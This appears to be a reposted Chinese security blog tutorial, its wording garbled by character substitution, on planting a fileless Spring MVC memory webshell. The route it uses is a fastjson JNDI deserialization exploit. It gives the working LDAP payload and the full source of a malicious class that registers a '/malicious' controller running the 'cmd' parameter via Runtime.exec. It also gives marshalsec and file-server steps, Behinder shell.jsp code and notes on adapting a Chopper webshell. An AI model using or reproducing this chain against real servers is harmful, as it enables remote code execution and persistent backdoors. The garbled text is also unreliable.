本文仅供参考学习应用。
1 根底
实际上java内存马的注入曾经有很多形式了,我在学习中入手钻研并写了一下针对spring mvc利用的内存马。
一般来说实现无文件落地的java内存马注入,通常是利用反序列化破绽,所以入手写了一个spring mvc的后端,并间接给了一个fastjson反序列化的页面,在假设的攻打中,通过jndi的利用形式让web端加载歹意类,注入controller。
所有工作都是站在伟人的肩膀上,参考文章均在最初列出。
1.1 fastjson反序列化和JNDI
对于fastjson破绽产生的具体原理已有很多剖析文章,这里应用的是fastjson1.24版本,poc非常简单
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}
当web端应用fastjson对下面的json进行反序列化时,受到@type
注解的批示,会通过反射创立com.sun.rowset.JdbcRowSetImpl
类的对象,基于fastjson的机制web端还会主动调用这个对象外部的set办法,最初触发JdbcRowSetImpl类中的特定set办法,拜访dataSourceName指定的服务端,并下载执行服务端指定的class文件,细节这里不做更具体的开展。
1.2 向spring mvc注入controller
学习了listener、filter、servlet的内存马后,想到看一看spring相干的内存马,但没有发现间接给出源代码的controller型内存马,所以学习并入手实现了一下(spring版本4.2.6.RELEASE)。
首先站在伟人的肩膀上,能够晓得spring mvc我的项目运行后,依然能够动静增加controller。一般的controller写法如下
通过@RequestMapping注解表明url和申请办法,编译部署后,spring会依据这个注解注册好相应的controller。动静注入controller的外围步骤如下
public class InjectToController{ public InjectToController(){ // 1. 利用spring外部办法获取context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 2. 从context中取得 RequestMappingHandlerMapping 的实例 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 3. 通过反射取得自定义 controller 中的 Method 对象 Method method2 = InjectToController.class.getMethod("test"); // 4. 定义拜访 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); // 5. 定义容许拜访 controller 的 HTTP 办法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 6. 在内存中动静注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } public void test() { xxx }}
- 步骤1中的context能够了解为web端解决这个申请时,以后线程内所领有的各种环境信息和资源
- 步骤2中获取的mappingHandlerMapping对象是用于注册controller的
- 步骤3中的反射是为了取得test这个Method对象,以便动静注册controller时,告知接管到给定url门路的申请后,用那个Method来解决,其中InjectToController类就是咱们的歹意类
- 步骤4定义的url对象是为了指定注入url,这个url就是咱们的内存马门路
- 步骤5是告知注入的url容许的申请办法
- 步骤6中RequestMappingInfo填入的信息相似于@RequestMapping注解中的信息,即url、容许的申请办法等。是真正注册controller的步骤
- InjectToController这个类就是咱们的歹意类,其中定义了test办法,这个办法内存在执行命令,当然也能够替换成冰蝎、哥斯拉的webshell外围代码,以便应用这两个工具。InjectToController的残缺代码在前面的章节可见
1.3 获取request和response
罕用的jsp一句话webshell代码如下
java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));
因为jsp文件被执行时,会主动取得了request这个资源,所以一句话木马不须要思考如何获取request这个对象。但在咱们注入controller的流程中,歹意java类的编译是由攻击者实现的,web端间接执行编译好的class文件,显然不可能像下面图片中用注解的形式在让test办法(InjectToController中的)的参数自带request, 所以再一次站在伟人的肩膀上https://www.jianshu.com/p/89b... ,通过spring的外部办法获取到request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
如果spring mvc我的项目部署在tomcat下,也能够用针对tomcat获取requeset的办法,例如从ThreadLocal、Mbean和Thread.getCurrentThread获取(前方参考文献中已给出)
1.4 阻止反复增加controller (非必须)
通过调试发现,下面获取的mappingHandlerMapping中有一个mappingRegistry成员对象,而该对象下的urlLookup属性保留了曾经注册的所有url门路,对mappingHandlerMapping进一步后发现,以上对象和属性都是公有的,且mappingRegistry并非mappingHandlerMapping中创立的,而是来自于基类AbstractHandlerMethodMapping。
所以对AbstractHandlerMethodMapping的源码进行了一番查看,发现通过其getMappingRegistry办法能够获取mappingRegistry,而urlLookup是其内部类MappingRegistry的公有属性,能够通过反射获取。
反射获取urlLookup和判断咱们给定的url是否被注册的代码块如下
// 获取abstractHandlerMethodMapping对象,以便反射调用其getMappingRegistry办法AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);// 反射调用getMappingRegistry办法Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");method.setAccessible(true);Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);// 反射获取urlLookup属性Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");field.setAccessible(true);Map urlLookup = (Map) field.get(mappingRegistry);// 判断咱们想要注入的门路是否被曾经存在Iterator urlIterator = urlLookup.keySet().iterator();List<String> urls = new ArrayList();while (urlIterator.hasNext()){ String urlPath = (String) urlIterator.next(); if ("/malicious".equals(urlPath)){ System.out.println("url已存在"); return; }}
2 试验
2.1 搞个spring mvc的测试环境
这里用idea做了一个maven+spring mvc+tomcat的测试环境,不便随时换spring、fastjson和tomcat的版本。这个Web利用的性能有两个:
- /home/postjson,能够输出json并POST给/home/readjson
- /home/readjson,应用fastjson解析json,触发反序列化的rce
举荐一个 Spring Boot 基础教程及实战示例:
https://github.com/javastacks...
2.2 歹意类源代码
通过JNDI注入让服务端执行的代码如下
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Iterator;import java.util.List;import java.util.Map;public class InjectToController { // 第一个构造函数 public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 从以后上下文环境中取得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 可选步骤,判断url是否存在 AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class); Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry"); method.setAccessible(true); Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping); Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup"); field.setAccessible(true); Map urlLookup = (Map) field.get(mappingRegistry); Iterator urlIterator = urlLookup.keySet().iterator(); List<String> urls = new ArrayList(); while (urlIterator.hasNext()){ String urlPath = (String) urlIterator.next(); if ("/malicious".equals(urlPath)){ System.out.println("url已存在"); return; } } // 可选步骤,判断url是否存在 // 2. 通过反射取得自定义 controller 中test的 Method 对象 Method method2 = InjectToController.class.getMethod("test"); // 3. 定义拜访 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); // 4. 定义容许拜访 controller 的 HTTP 办法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. 在内存中动静注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 创立用于解决申请的对象,退出“aaa”参数是为了触发第二个构造函数防止有限循环 InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } // 第二个构造函数 public InjectToController(String aaa) {} // controller指定的解决办法 public void test() throws IOException{ // 获取request和response对象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); // 获取cmd参数并执行命令 java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")); }}
- 因为fastjson反序列化时,主动下载并执行编译好的class文件,所以要在构造函数中写入注册controller的步骤
- 反序列化时主动触发的构造函数是第一个构造函数,因为没有带参数
- 因为registerMapping办法注册controller时须要给一个对象和这个对象外部的解决办法,而web端只下载了InjectToController这个类,再来一次JNDI去获取一个歹意类属实麻烦,所以用了
InjectToController injectToController = new InjectToController("aaa");
,这样就会进入第二个构造函数,而不会进入第一个构造函数有限循环。
2.3 测试
启动spring mvc我的项目,拜访/我的项目/malicious门路,返回404
应用marshalsec开一个ldap的服务,并指定/Exploit这个reference对应的门路为192.168.x.x:8090/#InjectToController,再用python开一个web文件服务器
编译InjectToController.java,将编译好的class文件放到python开的web文件服务根目录下,拜访/我的项目/home/postjson,并提交payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}
payload提交后,会被fastjson进行反序列化,在这个过程中会触发JdbcRowSetImpl中的connect函数,并依据给定的dataSourceName发动LDAP申请,从开启的给定的LDAP服务端(1389端口)取得歹意类的地址,再去下载并执行歹意类(8090端口),能够看到payload攻打胜利了
拜访/malicious这个uri确定一下
2.4 注入菜刀webshell
只须要找一匹稳固的jsp菜刀马,稍加革新:
- 把菜刀马的函数定义放在歹意类中
- 在注入的controller代码中退出菜刀马的判断和执行局部(下面的test办法中)
- 留神jsp菜刀马最初的out.print(sb.toString());改为response.getWriter().write(sb.toString());response.getWriter().flush();
2.5 注入冰蝎代码
2.5.1 冰蝎的服务端--shell.jsp
首先来看看冰蝎的shell.jsp文件,为了不便浏览,稍作加了一些换行
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{ U(ClassLoader c){super(c);} //构造函数 public Class g(byte []b){ return super.defineClass(b,0,b.length); // 调用父类的defineClass函数 }}%><%if (request.getMethod().equals("POST")) { String k="e45e329feb5d925b"; session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(ClassLoader.class.getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); }%>
能够看出,该jsp的外围性能有三点
- 为了不便地应用defineClass,创立了U这个类继承ClassLoader;
- 应用java自带的包,解密AES加密数据
- 应用defineClass加载AES解密后字节码,取得一个歹意类,利用newInstance创立这个类的实例,并调用equals办法
2.5.2 pageContext
shell.jsp中须要特地留神pageContext这个对象,它是jsp文件运行过程中自带的对象,能够获取request/response/session这三个蕴含页面信息的重要对象,对应pageContext有getRequest/getResponse/getSession办法。学艺不精,临时没有找到从spring和tomcat中获取pageContext的办法。
然而从冰蝎的作者给出的提醒能够晓得,冰蝎3.0 bata7之后不在依赖pageContext,见github issue
又从源码确认了一下,在equal函数中传入的object有request/response/session对象即可
所以注入的controller代码中,能够将pageContext换成一个Map,手动增加key和value即可,后面的歹意类源代码中曾经给出了如何获取request/response/session
2.5.3 继承ClassLoader和调用defineClass
在2.5.1中提到须要继承ClassLoader后调用父类的defineClass,当然也能够用反射,然而这样更不便而已。对歹意类稍加革新,继承ClassLoader、定义新的构造函数、减少g函数、增加冰蝎的服务端代码
特地须要留神的是红框内的ClassLoader.getSystemClassLoader()
,如果随便给定某个继承自ClassLoader的类,可能会呈现报错java.lang.LinkageError : attempted duplicate class definition for name
。这是因为须要应用getSystemClassLoader()获取创立ClassLoader时须要增加委派父级。
2.5.4 上冰蝎
参考文献:
https://www.anquanke.com/post...\
https://www.jianshu.com/p/89b...\
https://github.com/mbechler/m...\
https://lalajun.github.io/201...反序列化-fastjson/\
https://github.com/rebeyond/B...\
https://blog.csdn.net/cumudi0...\
https://github.com/rebeyond/B...\
作者:bitterz \
地址:https://www.cnblogs.com/bitterz/
近期热文举荐:
1.1,000+ 道 Java面试题及答案整顿(2021最新版)
2.别在再满屏的 if/ else 了,试试策略模式,真香!!
3.卧槽!Java 中的 xx ≠ null 是什么新语法?
4.Spring Boot 2.5 重磅公布,光明模式太炸了!
5.《Java开发手册(嵩山版)》最新公布,速速下载!
感觉不错,别忘了顺手点赞+转发哦!